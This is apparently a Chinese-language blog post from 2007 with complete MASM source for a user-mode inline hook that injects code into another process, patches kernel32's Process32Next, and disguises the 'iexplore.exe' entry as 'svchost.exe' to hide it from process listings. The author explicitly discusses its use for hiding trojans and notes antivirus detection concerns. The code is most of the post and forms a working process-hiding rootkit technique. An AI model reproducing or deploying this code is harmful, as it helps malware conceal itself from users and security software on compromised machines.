应用层InLine Hook
我的思路:
1.得到本进程中包含被挂接API的DLL的基地址,该DLL代码节的虚拟偏移以及该API的入口地址.API入口地址-(代码节虚拟偏移+DLL基地址)=函数入口相对于代码节的偏移
2.得到目标进程的PID,以及目标进程包含被挂接API的DLL的基地址(注意一般来说和前面自身进程的值相同)前面得到的函数入口偏移+DLL基地址+代码节虚拟偏移=目标进程API函数入口地址
3.打开目标进程读目标进程API函数入口处128字节代码到自身进程的变量中.然后调用z0mbie写的LDE32库取该API函数入口处几个指令的长度当长度>=5时保存该长度(这样防止后面取指令没有对齐)
4.为我们的假函数在目标进程加载的DLL中分配空间(我是把代码写在PE头的后面)这儿要改该内存的属性为读写执行(PAGE_EXECUTE_READWRITE).为了方便编译我们的假函数是写在代码段中的,在运行时要把这些代码移到数据段,然后把第3步取出的指令放在数据段中相应的偏移处.同时还要在数据段中设置跳回真实函数的JMP指令.
5.把真正的API开头的指令改为JMP到我们的假函数中.
1.在假函数中如何调用其它的API函数,以及如何方便的引用全局,局部变量
2.如何防止重复HOOK.
3.假函数写在目标DLL的哪儿比较适合.
看了网上不少公开的文章后写了这些代码,个人感觉应用层INLINE HOOK对于木马隐藏来说不是很有必要.因为WIN 2K及以后系统的COPY ON WRITE机制,导致象我这样的HOOK并不是全局的,要实现全局的要不是举例进程每个进程都这样处理一次,要不就是要安装全局钩子但一般这个操作都要引起杀毒软件的报警.另外如果上面第一种办法对于新启动的进程你还得不停的举例以便于找出新启动的进程哩.有些人说在驱动下可以有一个通知API,但这样的话还不如直接在驱动下HOOK SSDT或是驱动的INLINE HOOK了.
comment %
#--------------------------------------# #
# UserLand InLine Hook --> # #
# -->Hook Process32Next(only a Demo) # #
# 2007.03.10 #
# codz: czy # #
#------------------------------------------# #
system :test on XPSP2cn
%
.586
.model flat,stdcall
option casemap:none
include ../include/windows.inc
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/shell32.inc
includelib ../lib/shell32.lib
.data
kernel32 db 'kernel32.dll',0
P32First db 'Process32Next',0
inline db 'Hook Process32Next Hide Process:)',0
sztext db '.text ',0
VirtualAddress dd 0
JMPCODE db 0E9h,010h,10H,10H,10H,0
JMPCODE2 db 0E9h,010h,10H,10H,10H,0
HookFunBuf db 256 dup (?)
.code
_ProcessPeFile proc _lpPeHead
local @szBuffer[1024]:byte,@szSectionName[16]:byte
mov esi,_lpPeHead
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
mov edi,esi
assume edi:ptr IMAGE_NT_HEADERS movzx ecx,[edi].FileHeader.NumberOfSections
add edi,sizeof IMAGE_NT_HEADERS
assume edi:ptr IMAGE_SECTION_HEADER
.repeat
push ecx invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
push esi
push edi
mov ecx,8
mov esi,edi
lea edi,@szSectionName
cld
@@:
lodsb
.if ! al
mov al,' '
.endif
stosb
loop @B
pop edi
pop esi invoke lstrcmpi,offset sztext,addr @szSectionName
.if eax == 0
push [edi].VirtualAddress
pop eax
ret
.else
add edi,sizeof IMAGE_SECTION_HEADER
.endif pop ecx
.untilcxz
assume edi:nothing
ret
_ProcessPeFile endpGetShell32Base proc uses ebx esi edi remoteproid
LOCAL hSnapshot:dword
LOCAL modinfo:MODULEENTRY32
LOCAL modname[256]:byte
mov modinfo.dwSize,sizeof MODULEENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
mov hSnapshot,eax
invoke Module32First,hSnapshot,addr modinfo
.while eax
lea ecx,modinfo.szModule
invoke lstrcmpi,offset kernel32,ecx
.if eax == 0
mov eax,modinfo.modBaseAddr
ret
.endif
invoke Module32Next,hSnapshot,addr modinfo
.endw
invoke CloseHandle,hSnapshot
ret
GetShell32Base endp
InlineHook proc
LOCAL hProcess:dword
LOCAL hKernel32:dword
LOCAL hAPI:dword
LOCAL PID:dword
LOCAL ModBase:dword
LOCAL OLDpro:dword
LOCAL CodeBuf[128]:byte
LOCAL optable[2048]:byte
LOCAL codelen:dword
LOCAL APIoffset:dword
LOCAL hAPI2:dword
LOCAL pHookFun:dword
LOCAL hooklen1:dword
LOCAL hookfunlen:dword
lea eax,optable
push eax
call disasm_init
invoke LoadLibrary,offset kernel32 mov hKernel32,eax
invoke _ProcessPeFile,hKernel32 mov VirtualAddress,eax invoke GetProcAddress,hKernel32,offset P32First mov hAPI,eax
mov eax,hKernel32
add eax,VirtualAddress mov ecx,hAPI
sub ecx,eax mov APIoffset,ecx
invoke GetCurrentProcessId
mov PID,eax
mov eax,9504
mov PID,eax
invoke GetShell32Base,eax
mov ModBase,eax add eax,VirtualAddress add eax,APIoffset mov hAPI2,eax
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID
mov hProcess,eax
invoke ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0
lea esi,CodeBuf
xor edi,edi
@@nextcode:
push esi
lea eax,optable
push eax
call disasm_main
.if eax !=-1
add edi,eax
.if edi>=5
mov codelen,edi jmp @@findok
.else
add esi,eax
jmp @@nextcode
.endif
.else
xor eax,eax
ret
.endif
@@findok: mov eax,ModBase
add eax,VirtualAddress
sub eax,512
mov pHookFun,eax
invoke VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro mov ecx,@@hookbeg
mov eax,@@fakeret
sub eax,ecx
mov hooklen1,eax mov ecx,@@hookbeg
mov eax,@@hookfunend
sub eax,ecx
mov hookfunlen,eax mov eax,@@hookbeg
invoke RtlMoveMemory,offset HookFunBuf,eax,hookfunlen invoke WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0 mov ecx,pHookFun
add ecx,hooklen1
sub ecx,21
invoke WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0 mov ecx,pHookFun
add ecx,hooklen1
mov edx,ecx
sub ecx,5 mov eax,hAPI2
sub eax,edx
add eax,codelen
mov edx,offset JMPCODE2
inc edx
mov [edx],eax
invoke WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0 mov ecx,pHookFun
add ecx,hooklen1
mov eax,offset HookFunBuf
add eax,hooklen1
mov edx,hookfunlen
sub edx,hooklen1
invoke WriteProcessMemory,hProcess,ecx,eax,edx,0 mov eax,pHookFun
sub eax,hAPI2
sub eax,5
mov ecx,offset JMPCODE
inc ecx
mov [ecx],eax
invoke VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro
invoke WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0
invoke VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro
invoke CloseHandle,hProcess
invoke MessageBox,0,offset inline,offset inline,1
ret
InlineHook endp
@@hookbeg:
push [esp+8]push [esp+8]jmp @@fakeret
@@setret:
somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90hsomenop2 db 90h,90h,90h,90h,90h@@fakeret:
call @@setretsub esp,8
pushad
mov edx,[esp+4+32];原函数倒数第2个参数,进程信息结构的地址
.if eax != ERROR_NO_MORE_FILES
add edx,36
mov eax,[edx]
mov ecx,[edx+4]
.if (eax == 'pxei')&&( ecx == 'erol') mov eax,'hcvs'
mov [edx],eax
mov eax,'.tso'
mov [edx+4],eax
mov eax,' exe'
mov [edx+8],eax
.endif
.endif
popad
add esp,8ret 8@@hookfunend:
start:
invoke MessageBoxA,0,offset inline,offset inline,1
invoke InlineHook
invoke ExitProcess,0
include \masm32\include\lde32bin.inc
end start
目前我这个思路只用写一次被HOOK的函数就OK了.下面点评一下网上公开的一些方法:
1.有些方法写被HOOK的函数次数为(N*2)+1次,N为调用次数,会遇到多线程的问题,不稳定.
2.有些方法也只用写一次,不过要保存和替换返回地址.替换好计算,但保存是个问题?保存在哪儿哩
栈头不稳定,代码段同样有多线程的问题.
3.还有些方法没用反汇编引擎计算被JMP替换的指令长度,也许会有指令没对齐的问题.